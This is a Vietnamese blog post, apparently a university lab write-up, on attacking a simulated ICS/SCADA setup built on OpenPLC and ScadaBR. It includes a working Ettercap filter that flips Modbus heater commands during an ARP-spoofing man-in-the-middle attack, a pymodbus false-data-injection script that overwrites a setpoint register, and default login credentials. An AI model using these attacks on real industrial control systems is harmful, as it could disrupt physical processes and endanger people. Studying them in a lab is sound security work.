Hack các thiết bị ICS/SCADA giả lập

Feb 14 2023
Chào các bạn! Tôi không thường làm bài viết. Nhưng từ bây giờ tôi sẽ chia sẻ kiến ​​thức của mình thông qua blog này.

Chào các bạn! Tôi không thường làm bài viết. Nhưng từ bây giờ tôi sẽ chia sẻ kiến ​​thức của mình thông qua blog này.

Vì vậy, đây là một dự án ở trường đại học hóa ra lại thú vị hơn nhiều so với những gì tôi nghĩ ban đầu.

Vì vậy, Hệ thống điều khiển công nghiệp (ICS) dễ bị tấn công bởi nhiều mối đe dọa:

Thiếu các bản cập nhật bảo mật: Nhiều thiết bị ICS chạy trên phần mềm lỗi thời hoặc không được hỗ trợ, khiến chúng dễ bị tổn thương trước các lỗi bảo mật đã biết.

Cấu hình kém: Các thiết bị ICS có thể được cấu hình bằng mật khẩu mặc định hoặc mật khẩu yếu, giao thức mạng không an toàn hoặc các dịch vụ không cần thiết, có thể bị kẻ tấn công khai thác.

Truy cập vật lý: Những kẻ tấn công có quyền truy cập vật lý vào thiết bị ICS có thể chèn phần cứng độc hại, chẳng hạn như ổ USB hoặc cáp mạng, để giành quyền truy cập hoặc làm gián đoạn hoạt động.

Lừa đảo và kỹ thuật xã hội: Những kẻ tấn công có thể sử dụng kỹ thuật lừa đảo hoặc kỹ thuật xã hội khác để lừa nhân viên tiết lộ thông tin nhạy cảm hoặc nhấp vào các liên kết độc hại.

Phần mềm độc hại: Các thiết bị ICS có thể bị nhiễm phần mềm độc hại, bao gồm vi rút, trojan và ransomware, những phần mềm này có thể làm gián đoạn hoạt động, lấy cắp thông tin nhạy cảm hoặc gây ra thiệt hại vật chất.

Các mối đe dọa từ nội bộ: Các nhân viên, nhà thầu hoặc đối tác bất mãn có thể cố ý hoặc vô ý gây hại cho các thiết bị, dữ liệu hoặc quy trình của ICS.

Thiếu phân đoạn: Các mạng ICS thường không được phân đoạn chính xác, nghĩa là những kẻ tấn công có quyền truy cập vào một phần của mạng có thể dễ dàng di chuyển sang các phần khác và gây ra thiệt hại. Việc sử dụng DMZ sẽ làm cho ICS an toàn hơn.

Khả năng kết nối với các mạng khác: Các mạng ICS ngày càng được kết nối với các mạng công ty hoặc mạng công cộng, làm tăng bề mặt tấn công và khiến chúng dễ bị tổn thương hơn.

Thiết lập các thiết bị ICS/SCADA

Tôi đã sử dụng repo Thiago Alves Openplc và ScadaBR của anh ấy . Tôi đã sử dụng VMware Workstation Pro để mô phỏng vì tôi không có quyền truy cập vào các thành phần phần cứng cần thiết.

Tôi đã sử dụng máy Ubuntu 22.04 làm máy Openplc. Sau đó, tôi thiết lập máy kali của mình với HMI/ScadaBR. Và tôi có một máy thứ ba được cài đặt Ubuntu làm máy tấn công của tôi.

Kali linux — 192.168.11.128 — HMI/ScadaBR

Ubuntu đầu tiên — 192.168.11.130 — PLC

Ubuntu thứ 2 — 192.168.11.129 — ATTACKER

Việc cài đặt OpenPlc và ScadaBR khá đơn giản và bạn có thể tìm thấy hướng dẫn trong kho lưu trữ github được liên kết ở trên.

Bạn có thể đăng nhập vào openplc bằng cách sử dụng tín dụng openplc:openplc
tín dụng cho ScadaBR là admin:admin
Thiết lập OpenPlc

Bạn cũng có thể lấy mã cho thí nghiệm máy nước nóng mà tôi đã sử dụng ở đây từ repo github này.

thí nghiệm máy nước nóng

Các kỹ thuật được sử dụng để hack thiết bị ICS/SCADA

  1. Người đàn ông giữa cuộc chiến
  2. Dữ liệu sai Tiêm

Thực hiện tấn công Man-in-the-Middle (MITM) bằng Ettercap là một kỹ thuật phổ biến được sử dụng để hack các thiết bị ICS/SCADA.

Đầu tiên, tôi đã phân tích các gói được gửi giữa OpenPLC và ScadaBR. Các gói có thanh ghi ghi đơn là phần chúng ta cần tập trung vào. Vì giao tiếp giữa plc và scada không được mã hóa và xảy ra ở dạng văn bản gốc , nên khá dễ dàng sửa đổi các gói sau khi chặn nó trong MITM.

Ý tưởng của cuộc tấn công là sử dụng giả mạo ARP để hướng lưu lượng giữa HMI và PLC tới kẻ tấn công. Khi tôi trở thành người ở giữa, tôi sẽ có thể nhận các gói tin từ HMI. Khi tôi nhận được gói tin, tôi sẽ sửa đổi dữ liệu trước khi chuyển tiếp nó đến PLC.

Vì vậy, khi người vận hành sử dụng HMI để bật bộ sưởi thủ công, bộ sưởi sẽ tắt và ngược lại. Do đó, một Gói được sửa đổi thông qua MITM.

từ bài nghiên cứu Alsabbagh, Wael & Amogbonjaye, Samuel & Urrego, Diego & Langendoerfer, Peter. (2022). Một cuộc tấn công chèn lệnh sai tàng hình vào các hệ thống SCADA dựa trên Modbus. 10.13140/RG.2.2.28361.83041.

Bảng trên có các khung modbus và các hành động tương ứng của chúng. Tôi đã sử dụng điều này để viết bộ lọc Ettercap.

Hãy viết bộ lọc ettercap để thực hiện mitm.

if (ip.proto == TCP && tcp.dst == 502) {
  if (search(DATA.data, "\x01\x06\x00\x05\x00\x01")) {
    msg("Changing manual on to off");
    if (replace("\x01\x06\x00\x05\x00\x01", "\x01\x06\x00\x05\x00\x00")) {
      msg("Success");
    } else {
      msg("Failed");
    }
  }
  else{
  if (search(DATA.data, "\x01\x06\x00\x05\x00\x00")) {
    msg("Changing manual off to on");
    if (replace("\x01\x06\x00\x05\x00\x00", "\x01\x06\x00\x05\x00\x01")) {
      msg("Success");
    } else {
      msg("Failed");
    }
  }}
}

Trước tiên, chúng tôi lọc gói có cổng đích là 502. Tôi chỉ muốn các gói dành cho PLC.

Câu lệnh IF là để lọc gói có mẫu \x01\x06\x00\x05\x00\x01 hoặc \x01\x06\x00\x05\x00\x00 để BẬT hoặc TẮT bộ sưởi chế độ thủ công. Từ đây, gói mà tôi sẽ nhận được là gói HMI để bật hoặc tắt bộ gia nhiệt cho PLC.

Thực hiện hành động ngược lại để bạn thay thế dữ liệu gói để bật khi người dùng HMI tắt máy sưởi và ngược lại.

Bây giờ, hãy biên dịch bộ lọc ettercap.

etterfilter file.ecf -o mitm_file.ef

Trở thành NGƯỜI TRUNG GIAN

Bây giờ, bạn có thể thử thực hiện một số thao tác như tắt máy nước nóng. Sau đó, bạn sẽ thấy rằng nó bật thay thế.

LỰA CHỌN DỮ LIỆU SAI

tiêm dữ liệu

Chúng ta có thể thấy địa chỉ nhiệt độ điểm đặt trên ScadaBR. Với sự trợ giúp của tab Offset, chúng tôi đã có thể thực hiện cuộc tấn công. Nó cung cấp cho chúng tôi đủ dữ liệu để gửi dữ liệu giả qua Modbus.

tab bù

Tôi đã sử dụng thư viện python “ pymodbus ” để thực hiện cuộc tấn công. Điểm đặt trên phần bù bộ nhớ 2 được nhắm mục tiêu từ hình trên. Đó là một sổ đăng ký mà chúng ta có thể tự chỉnh sửa. Trong mã bên dưới, chúng tôi thao tác thanh ghi giữ nhiệt độ điểm đặt cho tổng số 60 giá trị (0 đến 59), với thời gian ngủ là 1 giây ở giữa.

from pymodbus import client
import time

modbus_client = client.ModbusTcpClient('127.0.0.1')

# change setpoint temp every 1 second for 60 seconds
for i in range(60):    
    modbus_client.write_register(address=2, value=i)
    time.sleep(1)    
modbus_client.close()